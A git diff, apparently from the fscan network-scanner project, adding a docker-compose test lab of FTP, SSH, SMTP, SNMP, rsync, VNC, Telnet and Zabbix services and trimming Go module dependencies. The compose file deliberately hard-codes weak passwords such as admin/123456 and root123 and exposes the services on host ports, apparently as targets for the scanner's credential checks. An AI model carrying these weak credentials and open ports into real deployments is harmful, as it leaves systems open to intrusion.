+ - ldap_data:/var/lib/ldap
+ restart: unless-stopped
+
+ # === 网络服务 ===
+ ftp:
+ image: bogem/ftp
+ container_name: fscan-ftp
+ environment:
+ - FTP_USER=admin
+ - FTP_PASS=123456
+ - PASV_ADDRESS=127.0.0.1
+ - PASV_MIN_PORT=30000
+ - PASV_MAX_PORT=30100
+ ports:
+ - "21:21"
+ - "20:20"
+ - "30000-30100:30000-30100"
+ restart: unless-stopped
+
+ ssh:
+ build: ./TestDocker/SSH/
+ container_name: fscan-ssh
+ ports:
+ - "2222:22"
+ restart: unless-stopped
+
+ smtp:
+ build: ./TestDocker/SMTP/
+ container_name: fscan-smtp
+ ports:
+ - "25:25"
+ restart: unless-stopped
+
+ snmp:
+ build: ./TestDocker/SNMP/
+ container_name: fscan-snmp
+ ports:
+ - "161:161/udp"
+ restart: unless-stopped
+
+ rsync:
+ build: ./TestDocker/Rsync/
+ container_name: fscan-rsync
+ ports:
+ - "873:873"
+ volumes:
+ - ./test_data:/data/public
+ restart: unless-stopped
+
+ vnc:
+ build: ./TestDocker/VNC/
+ container_name: fscan-vnc
+ ports:
+ - "5901:5901"
+ restart: unless-stopped
+
+ telnet:
+ build: ./TestDocker/Telnet/
+ container_name: fscan-telnet
+ ports:
+ - "23:23"
+ restart: unless-stopped
+
+ # === 监控系统 ===
+ zabbix-mysql:
+ image: mysql:8.0
+ container_name: fscan-zabbix-mysql
+ command: --default-authentication-plugin=mysql_native_password
+ environment:
+ MYSQL_ROOT_PASSWORD: root123
+ MYSQL_DATABASE: zabbix
+ MYSQL_USER: zabbix
+ MYSQL_PASSWORD: zabbix123
+ ports:
+ - "3307:3306" # 避免与主MySQL冲突
+ volumes:
+ - zabbix_mysql_data:/var/lib/mysql
+ restart: unless-stopped
+
+ zabbix-server:
+ image: zabbix/zabbix-server-mysql:ubuntu-6.0.23
+ container_name: fscan-zabbix-server
+ environment:
+ DB_SERVER_HOST: zabbix-mysql
+ MYSQL_DATABASE: zabbix
+ MYSQL_USER: zabbix
+ MYSQL_PASSWORD: zabbix123
+ MYSQL_ROOT_PASSWORD: root123
+ ports:
+ - "10051:10051"
+ depends_on:
+ - zabbix-mysql
+ restart: unless-stopped
+
+ zabbix-web:
+ image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23
+ container_name: fscan-zabbix-web
+ environment:
+ DB_SERVER_HOST: zabbix-mysql
+ MYSQL_DATABASE: zabbix
+ MYSQL_USER: zabbix
+ MYSQL_PASSWORD: zabbix123
+ MYSQL_ROOT_PASSWORD: root123
+ ZBX_SERVER_HOST: zabbix-server
+ PHP_TZ: Asia/Shanghai
+ ports:
+ - "8081:8080" # 避免与Tomcat冲突
+ - "8443:8443"
+ depends_on:
+ - zabbix-mysql
+ - zabbix-server
+ restart: unless-stopped
+
+# === 数据卷 ===
+volumes:
+ mysql_data:
+ postgresql_data:
+ mongodb_data:
+ redis_data:
+ neo4j_data:
+ cassandra_data:
+ tomcat_webapps:
+ elasticsearch_data:
+ rabbitmq_data:
+ kafka_data:
+ ldap_data:
+ zabbix_mysql_data:
+ mssql_data:
+
+# === 网络 ===
+networks:
+ default:
+ driver: bridge
\ No newline at end of file
diff --git a/go.mod b/go.mod
index d4da0e7..a48668b 100644
--- a/go.mod
+++ b/go.mod
@@ -1,6 +1,8 @@
module github.com/shadow1ng/fscan
-go 1.20
+go 1.22
+
+toolchain go1.22.2
require (
github.com/IBM/sarama v1.43.3
@@ -10,28 +12,18 @@ require (
github.com/go-sql-driver/mysql v1.8.1
github.com/gocql/gocql v1.7.0
github.com/google/cel-go v0.13.0
- github.com/gosnmp/gosnmp v1.38.0
- github.com/hirochachacha/go-smb2 v1.1.0
github.com/jlaffaye/ftp v0.2.0
github.com/lib/pq v1.10.9
- github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
- github.com/neo4j/neo4j-go-driver/v4 v4.4.7
- github.com/rabbitmq/amqp091-go v1.10.0
- github.com/robotn/gohook v0.42.2
github.com/satori/go.uuid v1.2.0
github.com/schollz/progressbar/v3 v3.13.1
- github.com/sijms/go-ora/v2 v2.5.29
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
- github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
golang.org/x/crypto v0.31.0
golang.org/x/net v0.32.0
golang.org/x/sync v0.10.0
golang.org/x/sys v0.28.0
- golang.org/x/text v0.21.0
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c
google.golang.org/protobuf v1.28.1
gopkg.in/yaml.v2 v2.4.0
- gopkg.in/yaml.v3 v3.0.1
)
require (
@@ -43,7 +35,6 @@ require (
github.com/eapache/go-resiliency v1.7.0 // indirect
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 // indirect
github.com/eapache/queue v1.1.0 // indirect
- github.com/geoffgarside/ber v1.1.0 // indirect
github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
github.com/golang-sql/sqlexp v0.1.0 // indirect
@@ -53,8 +44,6 @@ require (
github.com/hashicorp/errwrap v1.0.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/go-uuid v1.0.3 // indirect
- github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
- github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
github.com/jcmturner/gofork v1.7.6 // indirect
@@ -62,7 +51,6 @@ require (
github.com/jcmturner/gokrb5/v8 v8.4.4 // indirect
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
github.com/klauspost/compress v1.17.9 // indirect
- github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.14 // indirect
@@ -72,8 +60,8 @@ require (
github.com/rivo/uniseg v0.4.7 // indirect
github.com/rogpeppe/go-internal v1.13.1 // indirect
github.com/stoewer/go-strcase v1.2.0 // indirect
- github.com/vcaesar/keycode v0.10.1 // indirect
golang.org/x/term v0.27.0 // indirect
+ golang.org/x/text v0.21.0 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
)
diff --git a/go.sum b/go.sum
index 1fce1e4..b265416 100644
--- a/go.sum
+++ b/go.sum
@@ -1,16 +1,3 @@
-cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
-cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
-cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
-cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
-cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
-cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
-cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
-cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
-cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
-cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
-cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
-cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
-dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
filippo.io/edwards25519 v1.1.0 h1:FNf4tywRC1HmFuKW5xopWpigGjJKiJSV0Cqo0cJWDaA=
filippo.io/edwards25519 v1.1.0/go.mod h1:BxyFTGdWcka3PhytdK4V28tE5sGfRvvvRV7EaN4VDT4=
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw=
@@ -18,43 +5,21 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJc
github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8=
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 h1:mFRzDkZVAjdal+s7s0MwaRv9igoPqLRdzOLzw/8Xvq8=
github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358/go.mod h1:chxPXzSsl7ZWRAuOIE23GDNzjWuZquvFlgA8xmpunjU=
-github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
-github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA=
github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ=
-github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
-github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
-github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI=
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves=
github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY=
-github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
-github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
-github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
-github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
-github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
-github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY=
github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k=
-github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
-github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
-github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
-github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
-github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
-github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
-github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
-github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
-github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisenkom/go-mssqldb v0.12.3 h1:pBSGx9Tq67pBOTLmxNuirNTeB8Vjmf886Kx+8Y+8shw=
github.com/denisenkom/go-mssqldb v0.12.3/go.mod h1:k0mtMFOnU+AihqFxPMiF05rtiDrorD1Vrm1KEz5hxDo=
-github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
-github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
github.com/eapache/go-resiliency v1.7.0 h1:n3NRTnBn5N0Cbi/IeOHuQn9s2UwVUH7Ga0ZWcP+9JTA=
github.com/eapache/go-resiliency v1.7.0/go.mod h1:5yPzW0MIvSe0JDsv0v+DvcjEv2FyD6iZYSs1ZI+iQho=
@@ -62,133 +27,46 @@ github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3 h1:Oy0F4A
github.com/eapache/go-xerial-snappy v0.0.0-20230731223053-c322873962e3/go.mod h1:YvSRo5mw33fLEx1+DlK6L2VV43tJt5Eyel9n9XBcR+0=
github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc=
github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
-github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw=
-github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
-github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
-github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU=
-github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
-github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
-github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
+github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
github.com/go-asn1-ber/asn1-ber v1.5.7 h1:DTX+lbVTWaTw1hQ+PbZPlnDZPEIs0SS/GCZAl535dDk=
github.com/go-asn1-ber/asn1-ber v1.5.7/go.mod h1:hEBeB/ic+5LoWskz+yKT7vGhhPYkProFKoKdwZRWMe0=
-github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
-github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
-github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
-github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
-github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
-github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo=
github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI=
-github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
-github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y=
github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg=
-github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
-github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus=
github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4=
-github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
-github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
-github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
-github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
-github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
-github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
-github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
-github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
-github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
-github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
-github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
-github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
-github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
-github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
-github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
-github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM=
github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
-github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0=
-github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
-github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU=
github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s=
-github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
-github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
-github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM=
-github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
-github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
-github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
-github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
-github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
-github.com/googollee/go-socket.io v1.6.0/go.mod h1:0vGP8/dXR9SZUMMD4+xxaGo/lohOw3YWMh2WRiWeKxg=
-github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
-github.com/gopherjs/gopherjs v0.0.0-20210621113107-84c6004145de/go.mod h1:MtKwTfDNYAP5EtbQSMYjTSqvj1aXJKQRASWq3bwaP+g=
github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ=
github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
github.com/gorilla/sessions v1.2.1 h1:DHd3rPN5lE3Ts3D8rKkQ8x/0kqfeNmBAaiSi+o7FsgI=
github.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM=
-github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
-github.com/gosnmp/gosnmp v1.38.0 h1:I5ZOMR8kb0DXAFg/88ACurnuwGwYkXWq3eLpJPHMEYc=
-github.com/gosnmp/gosnmp v1.38.0/go.mod h1:FE+PEZvKrFz9afP9ii1W3cprXuVZ17ypCcyyfYuu5LY=
-github.com/goxjs/gl v0.0.0-20210104184919-e3fafc6f8f2a/go.mod h1:dy/f2gjY09hwVfIyATps4G2ai7/hLwLkc5TrPqONuXY=
-github.com/goxjs/glfw v0.0.0-20191126052801-d2efb5f20838/go.mod h1:oS8P8gVOT4ywTcjV6wZlOU4GuVFQ8F5328KY3MJ79CY=
-github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
-github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
-github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed h1:5upAirOpQc1Q53c0bnx2ufif5kANL7bfZWcc6VJWJd8=
